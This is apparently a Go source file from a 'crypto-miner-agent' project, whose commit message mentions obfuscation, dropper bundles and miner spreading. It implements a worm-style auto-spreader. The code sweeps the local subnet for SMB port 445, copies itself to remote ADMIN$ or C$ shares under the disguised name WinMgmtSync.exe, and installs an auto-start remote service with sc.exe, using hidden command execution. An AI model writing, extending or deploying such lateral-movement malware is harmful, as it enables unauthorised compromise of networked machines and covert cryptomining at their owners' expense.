WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
151 lines
4.4 KiB
Go
151 lines
4.4 KiB
Go
//go:build windows
|
||
|
||
package deploy
|
||
|
||
import (
|
||
"fmt"
|
||
"log"
|
||
"net"
|
||
"os"
|
||
"path/filepath"
|
||
"time"
|
||
|
||
"crypto-miner-agent/config"
|
||
)
|
||
|
||
// StartAutoSpreader launches a background routine that periodically attempts
|
||
// to replicate the miner to other machines on the local subnet via SMB and RPC.
|
||
//
|
||
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
|
||
// sc.exe service creation require an admin-capable token and reachable TCP/445.
|
||
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
||
// AutoSpread feature retained per user request.
|
||
// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
|
||
if !cfg.AutoSpread {
|
||
return
|
||
}
|
||
go func() {
|
||
// Wait 10 minutes after initial startup before attempting lateral movement
|
||
time.Sleep(10 * time.Minute)
|
||
|
||
// Attempt every 4 hours
|
||
ticker := time.NewTicker(4 * time.Hour)
|
||
defer ticker.Stop()
|
||
|
||
for {
|
||
spreadToLocalSubnet(cfg)
|
||
<-ticker.C
|
||
}
|
||
}()
|
||
log.Printf("[autospread] Lateral movement module initialized and active")
|
||
}
|
||
|
||
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
||
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
||
go spreadToLocalSubnet(cfg)
|
||
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
||
}
|
||
|
||
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
||
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
||
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
||
var spreadSem = make(chan struct{}, 16)
|
||
|
||
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
||
// ARP-first: only probe hosts the OS has recently spoken to.
|
||
// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
|
||
targets := arpHosts()
|
||
|
||
// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
|
||
// machines with SMB open so we still reach previously-unseen machines.
|
||
if len(targets) < 3 {
|
||
ips := getLocalIPs()
|
||
seen := make(map[string]bool)
|
||
for _, t := range targets {
|
||
seen[t] = true
|
||
}
|
||
for _, ip := range ips {
|
||
if !isIPv4(ip) {
|
||
continue // active sweep is IPv4 /24 only; see subnet.go
|
||
}
|
||
subnet := getSubnet(ip)
|
||
if subnet == "" {
|
||
continue
|
||
}
|
||
for i := 1; i < 255; i++ {
|
||
candidate, ok := ipv4SweepHost(subnet, i)
|
||
if !ok {
|
||
break
|
||
}
|
||
if candidate == ip || seen[candidate] {
|
||
continue
|
||
}
|
||
// Quick port check — only bother with machines that have :445 open
|
||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||
if err == nil {
|
||
conn.Close()
|
||
seen[candidate] = true
|
||
targets = append(targets, candidate)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
localSet := make(map[string]bool)
|
||
for _, ip := range getLocalIPs() {
|
||
localSet[ip] = true
|
||
}
|
||
for _, target := range targets {
|
||
if localSet[target] {
|
||
continue
|
||
}
|
||
spreadSem <- struct{}{}
|
||
go func(t string) {
|
||
defer func() { <-spreadSem }()
|
||
attemptSpread(cfg, t)
|
||
}(target)
|
||
}
|
||
}
|
||
|
||
func attemptSpread(cfg config.RuntimeConfig, target string) {
|
||
// 1. Quick pre-check: Is port 445 (SMB) open?
|
||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||
if err != nil {
|
||
return
|
||
}
|
||
conn.Close()
|
||
|
||
exePath, err := os.Executable()
|
||
if err != nil {
|
||
return
|
||
}
|
||
|
||
// Target paths
|
||
destName := "WinMgmtSync.exe"
|
||
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
|
||
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
||
|
||
// 2. Attempt to copy payload via SMB using the current security token
|
||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
|
||
// Fallback to C$ hidden temp folder if System32 is restricted
|
||
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
||
if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
|
||
return // Access denied or host unreachable
|
||
}
|
||
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
||
}
|
||
|
||
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
|
||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||
|
||
// Delete existing just in case path changed
|
||
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||
|
||
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
||
|
||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
||
}
|
||
}
|